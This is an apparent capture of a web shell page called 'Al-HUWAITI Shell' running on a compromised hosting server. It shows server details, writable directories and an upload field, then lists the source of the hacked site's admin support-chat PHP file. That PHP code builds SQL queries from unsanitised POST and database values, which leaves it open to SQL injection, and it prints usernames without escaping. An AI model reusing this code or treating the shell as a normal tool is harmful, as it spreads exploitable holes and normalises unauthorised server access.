Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux nl-srv-web1396.main-hosting.eu 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : u107206879 ( 107206879)
PHP Version : 7.2.34
Disable Function : NONE
Directory :  /home/u107206879/domains/escort46.de/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u107206879/domains/escort46.de/public_html/admin/support.php
<?php
$error = "";
$message = "";
include "db_connection.php";
include "sessioncheck.php";
$error = "";
$message = "";

if (isset($_POST['admin_list']) && !empty($_POST['admin_list'])) {
    $admin_id = $_POST['admin_list'];
} else {
    $admin_id = $_SESSION['adminid'];
}
?>
<!-- Header Start-->
<?php include("header.php"); ?>
<nav class=" navbar navbar-expand navbar-white navbar-light">
    <ul class="navbar-nav">
        <li class="nav-item">
            <a class="nav-link" data-widget="pushmenu" href="#">
                <i class="fa fa-bars" style="color:white;"></i>
            </a>
        </li>
    </ul>
    <div>
        <ol class="breadcrumb float-sm-right">
            <li class="breadcrumb-item ">Support</li>
        </ol>
    </div>
</nav>
<link rel="stylesheet" href="<?php echo MAIN_URL ?>/admin/assets/dist/css/themelook.css">
<!-- Header Ends-->
<!-- Content Start-->

<section class="content">
    <div class="container-fluid">
        <div class="row">
            <div class="col-12">
                <div class="card">
                    <div class="card-body">
                        <div class="col-sm-12 col-md-12 col-xs-12 col-lg-12 nopadding">
                            <?php include_once 'notification.php'; ?>
                            <div class="row">
                                <div class="col">
                                    <form id='admin_select' method="post">
                                        <select name="admin_list" class="form-control" id="admin_list">
                                            <?php
                                            $support_users_array = mysqli_query($connection, "SELECT id, uname FROM adminpanel");
                                            while ($supprt_user_row = mysqli_fetch_assoc($support_users_array)) {
                                                $unread_msgs = '';
                                                $admin_unread_messages = mysqli_query($connection, "SELECT COUNT(*) AS admin_unread FROM support AS supp INNER JOIN support_tickets AS tick ON supp.ticket_id = tick.id WHERE tick.admin_id=" . $supprt_user_row['id'] . " AND supp.is_read=0 AND supp.user_type='User'");
                                                $unread_row = mysqli_fetch_assoc($admin_unread_messages);
                                                if ($unread_row['admin_unread'] != 0) {
                                                    $unread_msgs = ' (' . $unread_row['admin_unread'] . ')';
                                                }
                                            ?>
                                                <option value="<?= $supprt_user_row['id'] ?>" <?= ($admin_id == $supprt_user_row['id']) ? 'selected' : ''  ?>> <?= $supprt_user_row['uname'] . $unread_msgs ?> </option>
                                            <?php
                                            }
                                            ?>
                                        </select>
                                    </form>
                                </div>
                            </div>

                            <div class="row">
                                <div class="col-sm-3 chat_sidebar">
                                    <div class="dropdown all_conversation">
                                        <button class="dropdown-toggle block" type="button" id="dropdownMenu2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"><i class="fa fa-weixin" aria-hidden="true"></i>All Conversations</button>
                                    </div>
                                    <div class="member_list">
                                        <ul class="list-unstyled">
                                            <?php $supprt_ticket_tbl = "SELECT st.*,usr.usrname FROM support_tickets AS st INNER JOIN user As usr ON st.user_id = usr.id WHERE st.admin_id=" . $admin_id . " ORDER BY st.date_time DESC";
                                            $supprt_ticket_result = mysqli_query($connection, $supprt_ticket_tbl);
                                            while ($tickets = mysqli_fetch_assoc($supprt_ticket_result)) {
                                            ?>
                                                <li class="left clearfix supportchat" data-active-id="<?= $tickets['is_active'] ?>" data-ticket-id="<?= $tickets['id'] ?>">
                                                    <span class="chat-img pull-left">
                                                        <img src="<?php echo MAIN_URL; ?>/images/default-person.png" alt="User" class="img-circle">
                                                    </span>
                                                    <div class="chat-body clearfix">
                                                        <div class="header_sec">
                                                            <strong class="primary-font">
                                                                <?php echo $tickets['usrname']; ?>
                                                            </strong>
                                                        </div>
                                                        <div class="contact_sec">
                                                            <span class="badge pull-right">
                                                                <?php echo date("d-m-Y H:i", strtotime($tickets['date_time'])); ?>
                                                            </span>
                                                            <?php
                                                            $supprt_tbl = "SELECT count(*) as unreadmsg FROM support WHERE user_id=" . $tickets['user_id'] . " AND user_type='User' AND is_read=0 AND ticket_id=" . $tickets['id'];
                                                            $supprt_result = mysqli_query($connection, $supprt_tbl);
                                                            $unread = mysqli_fetch_assoc($supprt_result);
                                                            if ($unread['unreadmsg'] != 0) {
                                                            ?>
                                                                <span id="unread_badge_<?= $tickets['id'] ?>" class="badge pull-left">
                                                                    <?php echo $unread['unreadmsg']; ?>
                                                                </span>
                                                            <?php
                                                            }
                                                            ?>
                                                        </div>
                                                    </div>
                                                </li>
                                            <?php     } ?>
                                        </ul>
                                    </div>
                                </div>

                                <div class="col-sm-9  message_section" style="max-width:100% !important;width: 100% !important;">
                                    <div class="row" id="chatdetail">
                                        <div class="chat_area" id="support_chat_history">

                                        </div>
                                        <div class="message_write">
                                            <textarea class="supportTextarea form-control" placeholder="Type a message" id="supportTextarea" disabled></textarea>
                                            <div class="clearfix"></div>
                                            <div class="chat_bottom">
                                                <input type="hidden" name="support_ticket" value="0" id="support_ticket" />
                                                <input type="hidden" name="admin_id" value="<?= $admin_id ?>" id="admin_id" />
                                                <a href="#" class="pull-left">
                                                    <button type="button" name="closeSupport" id="closeSupport" class="btn btn-custom" disabled>
                                                        Close Ticket
                                                    </button>
                                                </a>
                                                <a href="#" class="pull-right">
                                                    <button type="button" name="sendsupportmsg" id="sendsupportmsg" class="btn btn-custom" disabled>
                                                        Reply
                                                    </button>
                                                </a>
                                            </div>
                                        </div>
                                    </div>
                                </div>

                            </div>

                        </div>

                    </div>
                    <!-- /.card-body -->
                </div>
                <!-- /.card -->
            </div>
        </div>
        <!-- /.row (main row) -->
    </div><!-- /.container-fluid -->
</section>
<!-- Support Start -->
<script type="text/javascript">
    var ticket_id = '';
    var active_id = '';
    var message_count = '';

    $(document.body).on('click', '.supportchat', function() {
        ticket_id = $(this).attr("data-ticket-id");
        active_id = $(this).attr("data-active-id");
        $('#support_ticket').val(ticket_id);
        $.ajax({
            url: './service/support_chat',
            dataType: "json",
            data: 'id=' + ticket_id,
            type: 'POST',
            success: function(data) {
                $("#unread_badge_" + ticket_id).html('');
                $('#support_chat_history').html(data.data);
                if (active_id == 1) {
                    document.getElementById("supportTextarea").disabled = false;
                    document.getElementById("closeSupport").disabled = false;
                    document.getElementById("sendsupportmsg").disabled = false;
                } else {
                    document.getElementById("supportTextarea").disabled = true;
                    document.getElementById("closeSupport").disabled = true;
                    document.getElementById("sendsupportmsg").disabled = true;
                }
                message_count = data.message_count;
                $("#support_chat_history").scrollTop(0);
                var msgscrl = document.getElementById('support_chat_history');
                msgscrl.scrollTop = msgscrl.scrollHeight;
            }
        });
    });

    $(document.body).on('click', '#sendsupportmsg', function(e) {
        var text_msg = $("#supportTextarea").val();
        var support_ticket = $("#support_ticket").val();
        var admin_id = $("#admin_id").val();
        e.preventDefault();
        $.ajax({
            url: './service/send_support_message',
            data: 'admin_id=' + admin_id + '&support_ticket=' + support_ticket + '&textmsg=' + text_msg,
            type: 'POST',
            success: function(data) {
                $('#support_chat_history').html(data);
                if ($.trim($("#supportTextarea").val()) != "") {
                    $("#supportTextarea").val('');
                    var msgscrl = document.getElementById('support_chat_history');
                    msgscrl.scrollTop = msgscrl.scrollHeight;
                    $("#supportTextarea").focus();
                }
            }
        });
    });

    $(document.body).on('click', '#closeSupport', function(e) {
        var support_ticket = $("#support_ticket").val();
        var admin_id = $("#admin_id").val();
        e.preventDefault();
        $.ajax({
            url: './service/support_close',
            data: 'admin_id=' + admin_id + '&support_ticket=' + support_ticket,
            type: 'POST',
            success: function(data) {
                if (data == 1) {
                    document.getElementById("sendsupportmsg").disabled = true;
                    document.getElementById("supportTextarea").disabled = true;
                    document.getElementById("closeSupport").disabled = true;
                    location.reload();
                }
            }
        });
    });

    $(document.body).on('keyup', '.supportTextarea', function() {
        if (!$.trim($(".supportTextarea").val())) {
            document.getElementById("sendsupportmsg").disabled = true;
        } else {
            document.getElementById("sendsupportmsg").disabled = false;
        }
    });

    $("#admin_list").on('change', function() {
        $("#admin_select").submit();
    });

    setInterval(function() {
        var pageURL = $(location).attr("href");
        var pageName = pageURL.substring(pageURL.lastIndexOf("/") + 1);
        if (pageName == 'support' && ticket_id != '' && active_id == 1) {
            $('#support_ticket').val(ticket_id);
            $.ajax({
                url: './service/support_chat',
                dataType: "json",
                data: 'id=' + ticket_id,
                type: 'POST',
                success: function(data) {
                    $('#support_chat_history').html(data.data);
                    if (active_id == 1) {
                        document.getElementById("supportTextarea").disabled = false;
                        document.getElementById("closeSupport").disabled = false;
                        document.getElementById("sendsupportmsg").disabled = false;
                    } else {
                        document.getElementById("supportTextarea").disabled = true;
                        document.getElementById("closeSupport").disabled = true;
                        document.getElementById("sendsupportmsg").disabled = true;
                    }
                    if (message_count != data.message_count) {
                        $("#support_chat_history").scrollTop(0);
                        var msgscrl = document.getElementById('support_chat_history');
                        msgscrl.scrollTop = msgscrl.scrollHeight;
                        message_count = data.message_count;
                    }
                }
            });
        }
    }, 1000);
</script>
<!-- Support End -->
<!-- Content Ends-->
<!-- Footer Start-->
<?php include("footer.php"); ?>
<!-- Footer Ends-->

Al-HUWAITI Shell